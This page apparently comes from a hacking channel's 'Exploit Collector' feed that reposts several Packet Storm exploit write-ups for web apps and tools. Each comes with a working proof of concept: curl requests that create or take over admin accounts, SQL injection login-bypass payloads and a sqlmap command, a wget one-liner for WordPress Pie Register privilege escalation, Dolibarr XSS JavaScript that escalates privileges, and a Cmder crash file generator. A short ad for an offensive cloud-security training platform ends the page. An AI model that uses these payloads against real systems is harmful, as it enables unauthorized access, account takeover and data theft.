Exploit Collector
Simple Online College Entrance Exam System 1.0 Unauthenticated Admin Creation

https://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png
Simple Online College Entrance Exam System version 1.0 suffers from an unauthenticated admin creation vulnerability.

MD5 | 28bb852e8a1687d8a35b3b246f572b51

Download
# Exploit Title: Simple Online College Entrance Exam System 1.0 - Unauthenticated Admin Creation
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Unauthenticated admin creation

Unauthenticated admin creation:

Request:
POST /entrance_exam/Actions.php?a=save_admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 42

id=&fullname=admin2&username=admin2&type=1

PoC to create an admin user named exploitdb and password exploitdb:
curl -d "id=&fullname=admin&username=exploitdb&type=1&password=916b5dbd201b469998d9b4a4c8bc4e08" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=save_admin'

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
django-unicorn 0.35.3 Cross Site Scripting

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
django-unicorn versions 0.35.3 and below suffer from persistent cross site scripting vulnerability.

MD5 | 3e1eaca5d1e44c6dfb0341c2660a27af

Download
# Exploit Title: django-unicorn 0.35.3 - Stored Cross-Site Scripting (XSS)
# Date: 10/7/21
# Exploit Author: Raven Security Associates, Inc. (ravensecurity.net)
# Software Link: https://pypi.org/project/django-unicorn/
# Version: <=
# CVE: CVE-2021-42053

django-unicorn <=

Step 1: Go to www.django-unicorn.com/unicorn/message/todo
Step 2: Enter an xss payload in the todo form (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).
POC:

POST /unicorn/message/todo HTTP/2
Host: www.django-unicorn.com
Cookie: csrftoken=EbjPLEv70y1yPrNMdeFg9pH8hNVBgkrepSzuMM9zi6yPviifZKqQ3uIPJ4hsFq3z
Content-Length: 258
Sec-Ch-Ua: "";Not A Brand"";v=""99"", ""Chromium"";v=""94""
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: application/json
X-Requested-With: XMLHttpRequest
X-Csrftoken: EbjPLEv70y1yPrNMdeFg9pH8hNVBgkrepSzuMM9zi6yPviifZKqQ3uIPJ4hsFq3z
Sec-Ch-Ua-Platform: ""Linux""
Origin: https://www.django-unicorn.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.django-unicorn.com/examples/todo
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{""id"":""Q43GSmJh"",""data"":{""task"":"""",""tasks"":[]},""checksum"":""4ck2yTwX"",""actionQueue"":[{""type"":""syncInput"",""payload"":{""name"":""task"",""value"":""x ""}},{""type"":""callMethod"",""payload"":{""name"":""add""},""partial"":{}}],""epoch"":1633578678871}

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

HTTP/2 200 OK
Date: Thu, 07 Oct 2021 03:51:18 GMT
Content-Type: application/json
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Via: 1.1 vegur
Cf-Cache-Status: DYNAMIC
Expect-Ct: max-age=604800, report-uri=""https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct""
Report-To: {""endpoints"":[{""url"":""https:\/\/a.nel.cloudflare.com\/report\/v3?s=b4nQavto8LK9ru7JfhbNimKP71ZlMtduJTy6peHCwxDVWBH2Mkn0f7O%2FpWFy1FgPTd6Z6FmfkYUw5Izn59zN6kTQmjNjddiPWhWCWZWwOFiJf45ESQxuxr44UeDv3w51h1Ri6ESnNE5Y""}],""group"":""cf-nel"",""max_age"":604800}
Nel: {""success_fraction"":0,""report_to"":""cf-nel"",""max_age"":604800}
Server: cloudflare
Cf-Ray: 69a42b973f6a6396-ORD
Alt-Svc: h3="":443""; ma=86400, h3-29="":443""; ma=86400, h3-28="":443""; ma=86400, h3-27="":443""; ma=86400

{""id"": ""Q43GSmJh"", ""data"": {""tasks"": [""x ""]}, ""errors"": {}, ""checksum"": ""ZQn54Ct4"", ""dom"": ""
\n\n\n\nAdd\n
\n\n
* x \n
\nClear all tasks\n
\n
\n"", ""return"": {""method"": ""add"", ""params"": [], ""value"": null}}"
"ENDTEXT"


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Loan Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png
Loan Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 908df8dec45930df9a58c1149a71b1ea

Download
# Exploit Title: Loan Management System 1.0 - SQLi Authentication Bypass
# Date: 08.10.2021
# Exploit Author: Merve Oral
# Vendor Homepage: https://www.sourcecodester.com/php/14471/loan-management-system-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14471&title=Loan+Management+System+using+PHP%2FMySQL+with+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/audit_trail/login.php
2 - Enter the payload to username field as "admin' or '1'='1'#" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /loan/ajax.php?action=login HTTP/1.1
Host: merve
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 44
Origin: http://merve
Connection: close
Referer: http://merve/loan/login.php
Cookie: PHPSESSID=911fclrpoa87v9dsp9lh28ck0h

username=admin'+or+'1'%3D'1'%23&password=any

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Pie Register 3.7.1.4 Privilege Escalation

https://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png
WordPress Pie Register plugin versions 3.7.1.4 and below suffer from a privilege escalation vulnerability.

MD5 | 7ec9c60f78dd0f8de990554a97f7720f

Download
# Exploit Title: WordPress Plugin Pie Register 3.7.1.4 - Admin Privilege Escalation (Unauthenticated)
# Google Dork: inurl:/plugins/pie-register/
# Date: 08.10.2021
# Exploit Author: Lotfi13-DZ
# Vendor Homepage: https://wordpress.org/plugins/pie-register/
# Software Link: https://downloads.wordpress.org/plugin/pie-register.3.7.1.4.zip
# Version: <=
# Tested on: ubuntu

Vulnerable arg: [user_id_social_site=1] <==

Exploit: wget -q -S -O - http://localhost/ --post-data 'user_id_social_site=1&social_site=true&piereg_login_after_registration=true&_wp_http_referer=/login/&log=null&pwd=null' > /dev/null


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Dolibarr ERP / CRM 14.0.2 Cross Site Scripting / Privilege Escalation

https://4.bp.blogspot.com/-42b-8Yu8ql4/WWlvfoDuyhI/AAAAAAAAIQE/GMGQD7Uo7DMncRccI_LNcWgfvYRkd0zwQCLcBGAs/s1600/h86.png
Dolibarr ERP and CRM 14.0.2 suffers from a persistent cross site scripting vulnerability that enables privilege escalation.

MD5 | 5b352ca021c58bad4e863d0e152f8840

Download
# Exploit Title: Dolibarr ERP & CRM v14.0.2 Stored XSS / Privilege Escalation
# Exploit Author: Oscar Gutierrez (m4xp0w3r)
# Date: October 9, 2021
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://github.com/Dolibarr
# Tested on: Ubuntu, LAAMP
# Vendor: Dolibarr
# Version: v14.0.2
# Exploit Description:
# Dolibarr ERP & CRM v14.0.2 suffers from a stored XSS vulnerability in the ticket creation flow that allows a low level user (with full access to the Tickets module) to achieve full permissions. For this attack vector to work, an administrator user needs to copy the text in the "message" box.
# Instructions:
#1. Insert this payload in the message box when creating a ticket: ">test
#
#2. Host this file (Change the extension of the file to js and remove comments) in a remote http location of your preference.
#NOTE: The user id in /dolibarr/htdocs/user/perms.php?id=2 may vary depending on the installation so you might have to change this. In my case, I had only 2 users, user 2 being the low level user.
#
#3.Once an administrator user copies the text within the ticket the attack will launch.

function read_body(xhr) {

var data = xhr.responseXML;
var tokenizedUrl = data.getElementsByClassName("reposition commonlink")[0].href;
console.log(tokenizedUrl);
return tokenizedUrl;

}

function escalatePrivs() {
var url = read_body(xhr);
var http = new XMLHttpRequest();
http.open('GET', url);
http.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
return;
}
};
http.send(null);
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
read_body(xhr);
escalatePrivs(xhr);
}
}
xhr.open('GET', '/dolibarr/htdocs/user/perms.php?id=2', true);

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cmder Console Emulator 1.3.18 Denial Of Service

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
Cmder Console Emulator version 1.3.18 suffers from a denial of service vulnerability.

MD5 | 3260120dfeee86831ae3e9e3635b49bc

Download
# Exploit Title: Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial-of-Service (PoC)
# Date: 2021-10-07
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://cmder.net
# Software Link: https://github.com/cmderdev/cmder/releases/download/v1.3.18/cmder.zip
# Version: v1.3.18
# Tested on: Windows 10

# [About - Cmder Console Emulator] :

#Cmder is a software package created over absence of usable console emulator on Windows.
#It is based on ConEmu with major config overhaul, comes with a Monokai color scheme, amazing clink (further enhanced by clink-completions) and a custom prompt layout.

# [Security Issue] :

#equires the execution of a .cmd file type and The created file enters the emulator ,That will trigger the buffer overflow condition.
#E.g λ cmder.cmd

# [POC] :

PAYLOAD=chr(235) + "\\CMDER"
PAYLOAD = PAYLOAD * 3000
with open("cmder.cmd", "w") as f:
f.write(PAYLOAD)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Employees Work From Home Attendance System 1.0 SQL Injection

https://2.bp.blogspot.com/-ByzpbsJwjwM/WWlvDah6qTI/AAAAAAAAIKw/aSK5mfOx92wd9uyx7MAye8LQyS91plczwCLcBGAs/s1600/h13.png
Online Employees Work From Home Attendance System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 0f199816bb5eb94fffd8c5ab9afac30a

Download
# Exploit Title: Online Employees Work From Home Attendance System 1.0 - SQLi Authentication Bypass
# Date: 08.10.2021
# Exploit Author: Merve Oral
# Vendor Homepage: https://www.sourcecodester.com/php/14981/online-employees-work-home-attendance-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14981&title=Online+Employees+Work+From+Home+Attendance+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Online Employees Work From Home Attendance System/Logs in a Web App v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/audit_trail/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /wfh_attendance/Actions.php?a=login HTTP/1.1
Host: merve
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 40
Origin: http://merve
Connection: close
Referer: http://merve/wfh_attendance/admin/login.php
Cookie: PHPSESSID=55nnlgv0kg2qaki92o2s9vl5rq

username=admin'+or+'1'%3D'1&password=any


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Online College Entrance Exam System 1.0 Account Takeover

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
Simple Online College Entrance Exam System version 1.0 suffers from an account takeover vulnerability.

MD5 | 926ceb91ddfc68d28ba54bb2aa0efc50

Download
# Exploit Title: Simple Online College Entrance Exam System 1.0 - Account Takeover
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Unauthenticated password change leading to account takeover

Explanation: By setting the parameter old_password as array, the MD5 function on it returns null, so md5($old_password) == $_SESSION['password'] since we have no session, thus bypassing the check, after that we can use SQLI and inject our custom data.

Request:
POST /entrance_exam/Actions.php?a=update_credentials HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 129

id=4&username=test',`password`='916b5dbd201b469998d9b4a4c8bc4e08'+WHERE+admin_id=4;%23&password=commented_out&old_password[]=test

Vulnerable code in Actions.php:
function update_credentials(){
extract($_POST);
$data = "";
foreach($_POST as $k => $v){
if(!in_array($k,array('id','old_password')) && !empty($v)){
if(!empty($data)) $data .= ",";
if($k == 'password') $v = md5($v);
$data .= " `{$k}` = '{$v}' ";
}
}
...
if(!empty($password) && md5($old_password) != $_SESSION['password']){
$resp['status'] = 'failed';
$resp['msg'] = "Old password is incorrect.";
}else{
$sql = "UPDATE `admin_list` set {$data} where admin_id = '{$_SESSION['admin_id']}'";
@$save = $this->query($sql);

PoC that changes the password and username of user 'admin' to 'exploitdb':
curl -d "username=exploitdb',%60password%60='916b5dbd201b469998d9b4a4c8bc4e08' WHERE admin_id=1;%23&password=useless&old_password[]=useless" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=update_credentials'


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
IFSC Code Finder Project 1.0 SQL Injection

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
IFSC Code Finder Project version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 7c851fc475ce2325542258f58cc3bd96

Download
# Title: IFSC Code Finder Project 1.0 - SQL injection (Unauthenticated)
# Exploit Author: Yash Mahajan
# Date: 2021-10-07
# Vendor Homepage: https://phpgurukul.com/ifsc-code-finder-project-using-php/
# Version: 1
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=14478
# Tested On: Windows 10, XAMPP
# Vulnerable Parameter: searchifsccode

Steps to Reproduce:

1) Navigate to http://127.0.0.1/ifscfinder/ enter any number in search field and capture request in burpsuite.
2) Paste below request into burp repeater and also create a txt file and paste this request.

Request:
========
POST /ifscfinder/search.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/ifscfinder/
Cookie: PHPSESSID=5877lg2kv4vm0n5sb8e1eb0d0k
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

searchifsccode=')+AND+(SELECT+3757+FROM+(SELECT(SLEEP(20)))lygy)--+fvnT&search=

--------------------------------------------------------------------------------
3) You will see a time delay of 20 Sec in response.
4) python sqlmap.py -r request.txt -p searchifsccode --dbs
5) We can retrieve all databases using above sqlmap command


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Offensive Cloud Security - SecurityLabs
https://www.reddit.com/r/redteamsec/comments/q43zmc/offensive_cloud_security_securitylabs/

Hey everyone, We are excited to share the first Offensive Cloud Security platform being released for early access. Signup now and be among the first few to get exclusive access and upscale yourself :) Visit : SecurityLabs (https://www.securitylabs.tech/) -- Founder 0xdeadbeef0000 submitted by /u/0xdeadbeef0000 (https://www.reddit.com/user/0xdeadbeef0000)
[link] (https://www.reddit.com/r/redteamsec/comments/q43zmc/offensive_cloud_security_securitylabs/) [comments] (https://www.reddit.com/r/redteamsec/comments/q43zmc/offensive_cloud_security_securitylabs/)

___________________________
@hacking_Attack
@Hacking_Video